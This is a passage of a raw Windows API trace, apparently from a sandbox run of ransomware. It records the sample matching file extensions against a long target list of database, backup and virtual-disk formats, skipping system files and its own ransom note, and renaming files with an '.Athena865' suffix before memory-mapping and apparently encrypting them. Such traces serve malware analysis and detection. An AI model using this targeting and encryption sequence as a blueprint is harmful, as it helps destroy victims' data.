lstrcmpiW (lpString1="R.cab", lpString2="accdr") returned 1 [0054.862] lstrlenW (lpString="accdt") returned 5 [0054.862] lstrcmpiW (lpString1="R.cab", lpString2="accdt") returned 1 [0054.862] lstrlenW (lpString="accdw") returned 5 [0054.862] lstrcmpiW (lpString1="R.cab", lpString2="accdw") returned 1 [0054.862] lstrlenW (lpString="accft") returned 5 [0054.862] lstrcmpiW (lpString1="R.cab", lpString2="accft") returned 1 [0054.862] lstrlenW (lpString="adb") returned 3 [0054.862] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1 [0054.862] lstrlenW (lpString="adb") returned 3 [0054.862] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1 [0054.862] lstrlenW (lpString="ade") returned 3 [0054.863] lstrcmpiW (lpString1="cab", lpString2="ade") returned 1 [0054.863] lstrlenW (lpString="adf") returned 3 [0054.863] lstrcmpiW (lpString1="cab", lpString2="adf") returned 1 [0054.863] lstrlenW (lpString="adn") returned 3 [0054.863] lstrcmpiW (lpString1="cab", lpString2="adn") returned 1 [0054.863] lstrlenW (lpString="adp") returned 3 [0054.863] lstrcmpiW (lpString1="cab", lpString2="adp") returned 1 [0054.863] lstrlenW (lpString="alf") returned 3 [0054.863] lstrcmpiW (lpString1="cab", lpString2="alf") returned 1 [0054.863] lstrlenW (lpString="ask") returned 3 [0054.863] lstrcmpiW (lpString1="cab", lpString2="ask") returned 1 [0054.863] lstrlenW (lpString="btr") returned 3 [0054.863] lstrcmpiW (lpString1="cab", lpString2="btr") returned 1 [0054.863] lstrlenW (lpString="cat") returned 3 [0054.863] lstrcmpiW (lpString1="cab", lpString2="cat") returned -1 [0054.863] lstrlenW (lpString="cdb") returned 3 [0054.863] lstrcmpiW (lpString1="cab", lpString2="cdb") returned -1 [0054.863] lstrlenW (lpString="ckp") returned 3 [0054.863] lstrcmpiW (lpString1="cab", lpString2="ckp") returned -1 [0054.863] lstrlenW (lpString="cma") returned 3 [0054.863] lstrcmpiW (lpString1="cab", lpString2="cma") returned -1 [0054.863] lstrlenW (lpString="cpd") returned 3 [0054.863] lstrcmpiW (lpString1="cab", lpString2="cpd") returned -1 [0054.863] lstrlenW (lpString="dacpac") returned 6 [0054.863] lstrcmpiW (lpString1="LR.cab", lpString2="dacpac") returned 1 [0054.863] lstrlenW (lpString="dad") returned 3 [0054.863] lstrcmpiW (lpString1="cab", lpString2="dad") returned -1 [0054.863] lstrlenW (lpString="dadiagrams") returned 10 [0054.863] lstrlenW (lpString="daschema") returned 8 [0054.863] lstrcmpiW (lpString1="ptLR.cab", lpString2="daschema") returned 1 [0054.863] lstrlenW (lpString="db-journal") returned 10 [0054.863] lstrlenW (lpString="db-shm") returned 6 [0054.863] lstrcmpiW (lpString1="LR.cab", lpString2="db-shm") returned 1 [0054.863] lstrlenW (lpString="db-wal") returned 6 [0054.864] lstrcmpiW (lpString1="LR.cab", lpString2="db-wal") returned 1 [0054.864] lstrlenW (lpString="dbc") returned 3 [0054.864] lstrcmpiW (lpString1="cab", lpString2="dbc") returned -1 [0054.864] lstrlenW (lpString="dbs") returned 3 [0054.864] lstrcmpiW (lpString1="cab", lpString2="dbs") returned -1 [0054.864] lstrlenW (lpString="dbt") returned 3 [0054.864] lstrcmpiW (lpString1="cab", lpString2="dbt") returned -1 [0054.864] lstrlenW (lpString="dbv") returned 3 [0054.864] lstrcmpiW (lpString1="cab", lpString2="dbv") returned -1 [0054.864] lstrlenW (lpString="dbx") returned 3 [0054.864] lstrcmpiW (lpString1="cab", lpString2="dbx") returned -1 [0054.864] lstrlenW (lpString="dcb") returned 3 [0054.864] lstrcmpiW (lpString1="cab", lpString2="dcb") returned -1 [0054.864] lstrlenW (lpString="dct") returned 3 [0054.864] lstrcmpiW (lpString1="cab", lpString2="dct") returned -1 [0054.864] lstrlenW (lpString="dcx") returned 3 [0054.864] lstrcmpiW (lpString1="cab", lpString2="dcx") returned -1 [0054.864] lstrlenW (lpString="ddl") returned 3 [0054.864] lstrcmpiW (lpString1="cab", lpString2="ddl") returned -1 [0054.864] lstrlenW (lpString="dlis") returned 4 [0054.864] lstrcmpiW (lpString1=".cab", lpString2="dlis") returned -1 [0054.864] lstrlenW (lpString="dp1") returned 3 [0054.864] lstrcmpiW (lpString1="cab", lpString2="dp1") returned -1 [0054.864] lstrlenW (lpString="dqy") returned 3 [0054.864] lstrcmpiW (lpString1="cab", lpString2="dqy") returned -1 [0054.864] lstrlenW (lpString="dsk") returned 3 [0054.864] lstrcmpiW (lpString1="cab", lpString2="dsk") returned -1 [0054.864] lstrlenW (lpString="dsn") returned 3 [0054.864] lstrcmpiW (lpString1="cab", lpString2="dsn") returned -1 [0054.864] lstrlenW (lpString="dtsx") returned 4 [0054.864] lstrcmpiW (lpString1=".cab", lpString2="dtsx") returned -1 [0054.864] lstrlenW (lpString="dxl") returned 3 [0054.864] lstrcmpiW (lpString1="cab", lpString2="dxl") returned -1 [0054.864] lstrlenW (lpString="eco") returned 3 [0054.865] lstrcmpiW (lpString1="cab", lpString2="eco") returned -1 [0054.865] lstrlenW (lpString="ecx") returned 3 [0054.865] lstrcmpiW (lpString1="cab", lpString2="ecx") returned -1 [0054.865] lstrlenW (lpString="edb") returned 3 [0054.865] lstrcmpiW (lpString1="cab", lpString2="edb") returned -1 [0054.865] lstrlenW (lpString="epim") returned 4 [0054.865] lstrcmpiW (lpString1=".cab", lpString2="epim") returned -1 [0054.865] lstrlenW (lpString="fcd") returned 3 [0054.865] lstrcmpiW (lpString1="cab", lpString2="fcd") returned -1 [0054.865] lstrlenW (lpString="fdb") returned 3 [0054.865] lstrcmpiW (lpString1="cab", lpString2="fdb") returned -1 [0054.865] lstrlenW (lpString="fic") returned 3 [0054.865] lstrcmpiW (lpString1="cab", lpString2="fic") returned -1 [0054.865] lstrlenW (lpString="flexolibrary") returned 12 [0054.865] lstrlenW (lpString="fm5") returned 3 [0054.865] lstrcmpiW (lpString1="cab", lpString2="fm5") returned -1 [0054.865] lstrlenW (lpString="fmp") returned 3 [0054.865] lstrcmpiW (lpString1="cab", lpString2="fmp") returned -1 [0054.865] lstrlenW (lpString="fmp12") returned 5 [0054.865] lstrcmpiW (lpString1="R.cab", lpString2="fmp12") returned 1 [0054.865] lstrlenW (lpString="fmpsl") returned 5 [0054.865] lstrcmpiW (lpString1="R.cab", lpString2="fmpsl") returned 1 [0054.865] lstrlenW (lpString="fol") returned 3 [0054.865] lstrcmpiW (lpString1="cab", lpString2="fol") returned -1 [0054.865] lstrlenW (lpString="fp3") returned 3 [0054.865] lstrcmpiW (lpString1="cab", lpString2="fp3") returned -1 [0054.865] lstrlenW (lpString="fp4") returned 3 [0054.865] lstrcmpiW (lpString1="cab", lpString2="fp4") returned -1 [0054.865] lstrlenW (lpString="fp5") returned 3 [0054.865] lstrcmpiW (lpString1="cab", lpString2="fp5") returned -1 [0054.865] lstrlenW (lpString="fp7") returned 3 [0054.865] lstrcmpiW (lpString1="cab", lpString2="fp7") returned -1 [0054.865] lstrlenW (lpString="fpt") returned 3 [0054.865] lstrcmpiW (lpString1="cab", lpString2="fpt") returned -1 [0054.866] lstrlenW (lpString="frm") returned 3 [0054.866] lstrcmpiW (lpString1="cab", lpString2="frm") returned -1 [0054.866] lstrlenW (lpString="gdb") returned 3 [0054.866] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1 [0054.866] lstrlenW (lpString="gdb") returned 3 [0054.866] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1 [0054.866] lstrlenW (lpString="grdb") returned 4 [0054.866] lstrcmpiW (lpString1=".cab", lpString2="grdb") returned -1 [0054.866] lstrlenW (lpString="gwi") returned 3 [0054.866] lstrcmpiW (lpString1="cab", lpString2="gwi") returned -1 [0054.866] lstrlenW (lpString="hdb") returned 3 [0054.866] lstrcmpiW (lpString1="cab", lpString2="hdb") returned -1 [0054.866] lstrlenW (lpString="his") returned 3 [0054.866] lstrcmpiW (lpString1="cab", lpString2="his") returned -1 [0054.866] lstrlenW (lpString="ib") returned 2 [0054.866] lstrcmpiW (lpString1="ab", lpString2="ib") returned -1 [0054.866] lstrlenW (lpString="idb") returned 3 [0054.866] lstrcmpiW (lpString1="cab", lpString2="idb") returned -1 [0054.866] lstrlenW (lpString="ihx") returned 3 [0054.866] lstrcmpiW (lpString1="cab", lpString2="ihx") returned -1 [0054.866] lstrlenW (lpString="itdb") returned 4 [0054.866] lstrcmpiW (lpString1=".cab", lpString2="itdb") returned -1 [0054.866] lstrlenW (lpString="itw") returned 3 [0054.866] lstrcmpiW (lpString1="cab", lpString2="itw") returned -1 [0054.866] lstrlenW (lpString="jet") returned 3 [0054.866] lstrcmpiW (lpString1="cab", lpString2="jet") returned -1 [0054.866] lstrlenW (lpString="jtx") returned 3 [0054.866] lstrcmpiW (lpString1="cab", lpString2="jtx") returned -1 [0054.866] lstrlenW (lpString="kdb") returned 3 [0054.866] lstrcmpiW (lpString1="cab", lpString2="kdb") returned -1 [0054.866] lstrlenW (lpString="kexi") returned 4 [0054.866] lstrcmpiW (lpString1=".cab", lpString2="kexi") returned -1 [0054.866] lstrlenW (lpString="kexic") returned 5 [0054.866] lstrcmpiW (lpString1="R.cab", lpString2="kexic") returned 1 [0054.867] lstrlenW (lpString="kexis") returned 5 [0054.867] lstrcmpiW (lpString1="R.cab", lpString2="kexis") returned 1 [0054.867] lstrlenW (lpString="lgc") returned 3 [0054.867] lstrcmpiW (lpString1="cab", lpString2="lgc") returned -1 [0054.867] lstrlenW (lpString="lwx") returned 3 [0054.867] lstrcmpiW (lpString1="cab", lpString2="lwx") returned -1 [0054.867] lstrlenW (lpString="maf") returned 3 [0054.867] lstrcmpiW (lpString1="cab", lpString2="maf") returned -1 [0054.867] lstrlenW (lpString="maq") returned 3 [0054.867] lstrcmpiW (lpString1="cab", lpString2="maq") returned -1 [0054.867] lstrlenW (lpString="mar") returned 3 [0054.867] lstrcmpiW (lpString1="cab", lpString2="mar") returned -1 [0054.867] lstrlenW (lpString="marshal") returned 7 [0054.867] lstrcmpiW (lpString1="tLR.cab", lpString2="marshal") returned 1 [0054.867] lstrlenW (lpString="mas") returned 3 [0054.867] lstrcmpiW (lpString1="cab", lpString2="mas") returned -1 [0054.867] lstrlenW (lpString="mav") returned 3 [0054.867] lstrcmpiW (lpString1="cab", lpString2="mav") returned -1 [0054.867] lstrlenW (lpString="maw") returned 3 [0054.868] lstrcmpiW (lpString1="cab", lpString2="maw") returned -1 [0054.869] lstrlenW (lpString="mdbhtml") returned 7 [0054.869] lstrcmpiW (lpString1="tLR.cab", lpString2="mdbhtml") returned 1 [0054.870] lstrlenW (lpString="mdn") returned 3 [0054.870] lstrcmpiW (lpString1="cab", lpString2="mdn") returned -1 [0054.870] lstrlenW (lpString="mdt") returned 3 [0054.870] lstrcmpiW (lpString1="cab", lpString2="mdt") returned -1 [0054.870] lstrlenW (lpString="mfd") returned 3 [0054.870] lstrcmpiW (lpString1="cab", lpString2="mfd") returned -1 [0054.870] lstrlenW (lpString="mpd") returned 3 [0054.870] lstrcmpiW (lpString1="cab", lpString2="mpd") returned -1 [0054.870] lstrlenW (lpString="mrg") returned 3 [0054.870] lstrcmpiW (lpString1="cab", lpString2="mrg") returned -1 [0054.870] lstrlenW (lpString="mud") returned 3 [0054.870] lstrcmpiW (lpString1="cab", lpString2="mud") returned -1 [0054.870] lstrlenW (lpString="mwb") returned 3 [0054.870] lstrcmpiW (lpString1="cab", lpString2="mwb") returned -1 [0054.870] lstrlenW (lpString="myd") returned 3 [0054.870] lstrcmpiW (lpString1="cab", lpString2="myd") returned -1 [0054.870] lstrlenW (lpString="ndf") returned 3 [0054.870] lstrcmpiW (lpString1="cab", lpString2="ndf") returned -1 [0054.870] lstrlenW (lpString="nnt") returned 3 [0054.871] lstrcmpiW (lpString1="cab", lpString2="nnt") returned -1 [0054.871] lstrlenW (lpString="nrmlib") returned 6 [0054.871] lstrcmpiW (lpString1="LR.cab", lpString2="nrmlib") returned -1 [0054.871] lstrlenW (lpString="ns2") returned 3 [0054.871] lstrcmpiW (lpString1="cab", lpString2="ns2") returned -1 [0054.871] lstrlenW (lpString="ns3") returned 3 [0054.871] lstrcmpiW (lpString1="cab", lpString2="ns3") returned -1 [0054.871] lstrlenW (lpString="ns4") returned 3 [0054.871] lstrcmpiW (lpString1="cab", lpString2="ns4") returned -1 [0054.871] lstrlenW (lpString="nsf") returned 3 [0054.871] lstrcmpiW (lpString1="cab", lpString2="nsf") returned -1 [0054.871] lstrlenW (lpString="nv") returned 2 [0054.871] lstrcmpiW (lpString1="ab", lpString2="nv") returned -1 [0054.871] lstrlenW (lpString="nv2") returned 3 [0054.871] lstrcmpiW (lpString1="cab", lpString2="nv2") returned -1 [0054.871] lstrlenW (lpString="nwdb") returned 4 [0054.871] lstrcmpiW (lpString1=".cab", lpString2="nwdb") returned -1 [0054.871] lstrlenW (lpString="nyf") returned 3 [0054.871] lstrcmpiW (lpString1="cab", lpString2="nyf") returned -1 [0054.871] lstrlenW (lpString="odb") returned 3 [0054.871] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1 [0054.871] lstrlenW (lpString="odb") returned 3 [0054.871] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1 [0054.871] lstrlenW (lpString="oqy") returned 3 [0054.871] lstrcmpiW (lpString1="cab", lpString2="oqy") returned -1 [0054.871] lstrlenW (lpString="ora") returned 3 [0054.871] lstrcmpiW (lpString1="cab", lpString2="ora") returned -1 [0054.871] lstrlenW (lpString="orx") returned 3 [0054.871] lstrcmpiW (lpString1="cab", lpString2="orx") returned -1 [0054.871] lstrlenW (lpString="owc") returned 3 [0054.871] lstrcmpiW (lpString1="cab", lpString2="owc") returned -1 [0054.871] lstrlenW (lpString="p96") returned 3 [0054.871] lstrcmpiW (lpString1="cab", lpString2="p96") returned -1 [0054.872] lstrlenW (lpString="p97") returned 3 [0054.872] lstrcmpiW (lpString1="cab", lpString2="p97") returned -1 [0054.872] lstrlenW (lpString="pan") returned 3 [0054.872] lstrcmpiW (lpString1="cab", lpString2="pan") returned -1 [0054.872] lstrlenW (lpString="pdb") returned 3 [0054.872] lstrcmpiW (lpString1="cab", lpString2="pdb") returned -1 [0054.872] lstrlenW (lpString="pdm") returned 3 [0054.872] lstrcmpiW (lpString1="cab", lpString2="pdm") returned -1 [0054.872] lstrlenW (lpString="pnz") returned 3 [0054.872] lstrcmpiW (lpString1="cab", lpString2="pnz") returned -1 [0054.872] lstrlenW (lpString="qry") returned 3 [0054.872] lstrcmpiW (lpString1="cab", lpString2="qry") returned -1 [0054.872] lstrlenW (lpString="qvd") returned 3 [0054.872] lstrcmpiW (lpString1="cab", lpString2="qvd") returned -1 [0054.872] lstrlenW (lpString="rbf") returned 3 [0054.872] lstrcmpiW (lpString1="cab", lpString2="rbf") returned -1 [0054.872] lstrlenW (lpString="rctd") returned 4 [0054.872] lstrcmpiW (lpString1=".cab", lpString2="rctd") returned -1 [0054.872] lstrlenW (lpString="rod") returned 3 [0054.872] lstrcmpiW (lpString1="cab", lpString2="rod") returned -1 [0054.872] lstrlenW (lpString="rodx") returned 4 [0054.872] lstrcmpiW (lpString1=".cab", lpString2="rodx") returned -1 [0054.872] lstrlenW (lpString="rpd") returned 3 [0054.872] lstrcmpiW (lpString1="cab", lpString2="rpd") returned -1 [0054.872] lstrlenW (lpString="rsd") returned 3 [0054.872] lstrcmpiW (lpString1="cab", lpString2="rsd") returned -1 [0054.872] lstrlenW (lpString="sas7bdat") returned 8 [0054.872] lstrcmpiW (lpString1="ptLR.cab", lpString2="sas7bdat") returned -1 [0054.872] lstrlenW (lpString="sbf") returned 3 [0054.872] lstrcmpiW (lpString1="cab", lpString2="sbf") returned -1 [0054.872] lstrlenW (lpString="scx") returned 3 [0054.872] lstrcmpiW (lpString1="cab", lpString2="scx") returned -1 [0054.872] lstrlenW (lpString="sdb") returned 3 [0054.872] lstrcmpiW (lpString1="cab", lpString2="sdb") returned -1 [0054.873] lstrlenW (lpString="sdc") returned 3 [0054.873] lstrcmpiW (lpString1="cab", lpString2="sdc") returned -1 [0054.873] lstrlenW (lpString="sdf") returned 3 [0054.873] lstrcmpiW (lpString1="cab", lpString2="sdf") returned -1 [0054.873] lstrlenW (lpString="sis") returned 3 [0054.873] lstrcmpiW (lpString1="cab", lpString2="sis") returned -1 [0054.873] lstrlenW (lpString="spq") returned 3 [0054.873] lstrcmpiW (lpString1="cab", lpString2="spq") returned -1 [0054.873] lstrlenW (lpString="te") returned 2 [0054.873] lstrcmpiW (lpString1="ab", lpString2="te") returned -1 [0054.873] lstrlenW (lpString="teacher") returned 7 [0054.873] lstrcmpiW (lpString1="tLR.cab", lpString2="teacher") returned 1 [0054.873] lstrlenW (lpString="tmd") returned 3 [0054.873] lstrcmpiW (lpString1="cab", lpString2="tmd") returned -1 [0054.873] lstrlenW (lpString="tps") returned 3 [0054.873] lstrcmpiW (lpString1="cab", lpString2="tps") returned -1 [0054.873] lstrlenW (lpString="trc") returned 3 [0054.873] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1 [0054.873] lstrlenW (lpString="trc") returned 3 [0054.873] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1 [0054.873] lstrlenW (lpString="trm") returned 3 [0054.873] lstrcmpiW (lpString1="cab", lpString2="trm") returned -1 [0054.873] lstrlenW (lpString="udb") returned 3 [0054.873] lstrcmpiW (lpString1="cab", lpString2="udb") returned -1 [0054.873] lstrlenW (lpString="udl") returned 3 [0054.873] lstrcmpiW (lpString1="cab", lpString2="udl") returned -1 [0054.873] lstrlenW (lpString="usr") returned 3 [0054.873] lstrcmpiW (lpString1="cab", lpString2="usr") returned -1 [0054.873] lstrlenW (lpString="v12") returned 3 [0054.873] lstrcmpiW (lpString1="cab", lpString2="v12") returned -1 [0054.873] lstrlenW (lpString="vis") returned 3 [0054.873] lstrcmpiW (lpString1="cab", lpString2="vis") returned -1 [0054.873] lstrlenW (lpString="vpd") returned 3 [0054.873] lstrcmpiW (lpString1="cab", lpString2="vpd") returned -1 [0054.874] lstrlenW (lpString="vvv") returned 3 [0054.874] lstrcmpiW (lpString1="cab", lpString2="vvv") returned -1 [0054.874] lstrlenW (lpString="wdb") returned 3 [0054.874] lstrcmpiW (lpString1="cab", lpString2="wdb") returned -1 [0054.874] lstrlenW (lpString="wmdb") returned 4 [0054.874] lstrcmpiW (lpString1=".cab", lpString2="wmdb") returned -1 [0054.874] lstrlenW (lpString="wrk") returned 3 [0054.874] lstrcmpiW (lpString1="cab", lpString2="wrk") returned -1 [0054.874] lstrlenW (lpString="xdb") returned 3 [0054.874] lstrcmpiW (lpString1="cab", lpString2="xdb") returned -1 [0054.874] lstrlenW (lpString="xld") returned 3 [0054.874] lstrcmpiW (lpString1="cab", lpString2="xld") returned -1 [0054.874] lstrlenW (lpString="xmlff") returned 5 [0054.874] lstrcmpiW (lpString1="R.cab", lpString2="xmlff") returned -1 [0054.874] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.Athena865") returned 82 [0054.874] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.athena865"), dwFlags=0x1) returned 1 [0054.875] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.Athena865" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0054.875] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=70361744) returned 1 [0054.875] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0054.876] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0054.876] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518898 [0054.876] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518788) returned 1 [0054.876] CryptGenRandom (in: hProv=0x518788, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0054.876] CryptReleaseContext (hProv=0x518788, dwFlags=0x0) returned 1 [0054.877] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x431a590, lpName=0x0) returned 0x154 [0054.880] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x4200000, dwNumberOfBytesToMap=0x11a590) returned 0x2d50000 [0054.928] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3000000 [0055.014] UnmapViewOfFile (lpBaseAddress=0x3000000) returned 1 [0055.035] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518788) returned 1 [0055.036] CryptGenRandom (in: hProv=0x518788, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0055.036] CryptReleaseContext (hProv=0x518788, dwFlags=0x0) returned 1 [0055.036] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0055.036] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0055.036] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52dfb8 [0055.036] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0055.036] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52dfb8 | out: hHeap=0x4f0000) returned 1 [0055.036] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0055.036] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0055.036] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0055.036] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0055.036] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0055.036] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0055.046] CloseHandle (hObject=0x154) returned 1 [0055.047] CloseHandle (hObject=0x17c) returned 1 [0055.047] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0055.047] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518898 | out: hHeap=0x4f0000) returned 1 [0055.047] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0055.058] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0055.058] lstrcmpiW (lpString1="Setup.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0055.058] lstrcmpiW (lpString1="Setup.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0055.059] lstrcmpiW (lpString1="Setup.xml", lpString2=".") returned 1 [0055.059] lstrcmpiW (lpString1="Setup.xml", lpString2="..") returned 1 [0055.059] lstrcmpiW (lpString1="Setup.xml", lpString2="windows") returned -1 [0055.059] lstrcmpiW (lpString1="Setup.xml", lpString2="bootmgr") returned 1 [0055.059] lstrcmpiW (lpString1="Setup.xml", lpString2="temp") returned -1 [0055.059] lstrcmpiW (lpString1="Setup.xml", lpString2="pagefile.sys") returned 1 [0055.059] lstrcmpiW (lpString1="Setup.xml", lpString2="boot") returned 1 [0055.059] lstrcmpiW (lpString1="Setup.xml", lpString2="ids.txt") returned 1 [0055.059] lstrcmpiW (lpString1="Setup.xml", lpString2="ntuser.dat") returned 1 [0055.059] lstrcmpiW (lpString1="Setup.xml", lpString2="perflogs") returned 1 [0055.059] lstrcmpiW (lpString1="Setup.xml", lpString2="MSBuild") returned 1 [0055.059] lstrlenW (lpString="Setup.xml") returned 9 [0055.059] lstrcpyW (in: lpString1=0x241e8c6, lpString2="Setup.xml" | out: lpString1="Setup.xml") returned="Setup.xml" [0055.059] lstrlenW (lpString="Setup.xml") returned 9 [0055.059] lstrlenW (lpString="Athena865") returned 9 [0055.059] lstrlenW (lpString=".dll") returned 4 [0055.059] lstrcmpiW (lpString1="Setup.xml", lpString2=".dll") returned 1 [0055.059] lstrlenW (lpString=".lnk") returned 4 [0055.059] lstrcmpiW (lpString1="Setup.xml", lpString2=".lnk") returned 1 [0055.059] lstrlenW (lpString=".ini") returned 4 [0055.059] lstrcmpiW (lpString1="Setup.xml", lpString2=".ini") returned 1 [0055.059] lstrlenW (lpString=".sys") returned 4 [0055.059] lstrcmpiW (lpString1="Setup.xml", lpString2=".sys") returned 1 [0055.059] lstrlenW (lpString="Setup.xml") returned 9 [0055.059] lstrlenW (lpString="bak") returned 3 [0055.059] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0055.059] lstrlenW (lpString="ba_") returned 3 [0055.059] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0055.059] lstrlenW (lpString="dbb") returned 3 [0055.059] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0055.059] lstrlenW (lpString="vmdk") returned 4 [0055.059] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0055.060] lstrlenW (lpString="rar") returned 3 [0055.060] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0055.060] lstrlenW (lpString="zip") returned 3 [0055.060] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0055.060] lstrlenW (lpString="tgz") returned 3 [0055.060] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0055.060] lstrlenW (lpString="vbox") returned 4 [0055.060] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0055.060] lstrlenW (lpString="vdi") returned 3 [0055.060] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0055.060] lstrlenW (lpString="vhd") returned 3 [0055.060] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0055.060] lstrlenW (lpString="vhdx") returned 4 [0055.060] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0055.060] lstrlenW (lpString="avhd") returned 4 [0055.060] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0055.060] lstrlenW (lpString="db") returned 2 [0055.060] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0055.060] lstrlenW (lpString="db2") returned 3 [0055.060] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0055.060] lstrlenW (lpString="db3") returned 3 [0055.060] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0055.060] lstrlenW (lpString="dbf") returned 3 [0055.060] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0055.060] lstrlenW (lpString="mdf") returned 3 [0055.060] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0055.060] lstrlenW (lpString="mdb") returned 3 [0055.060] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0055.060] lstrlenW (lpString="sql") returned 3 [0055.060] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0055.060] lstrlenW (lpString="sqlite") returned 6 [0055.060] lstrcmpiW (lpString1="up.xml", lpString2="sqlite") returned 1 [0055.060] lstrlenW (lpString="sqlite3") returned 7 [0055.061] lstrcmpiW (lpString1="tup.xml", lpString2="sqlite3") returned 1 [0055.061] lstrlenW (lpString="sqlitedb") returned 8 [0055.061] lstrcmpiW (lpString1="etup.xml", lpString2="sqlitedb") returned -1 [0055.061] lstrlenW (lpString="xml") returned 3 [0055.061] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0055.061] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\Setup.xml.Athena865") returned 82 [0055.061] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All 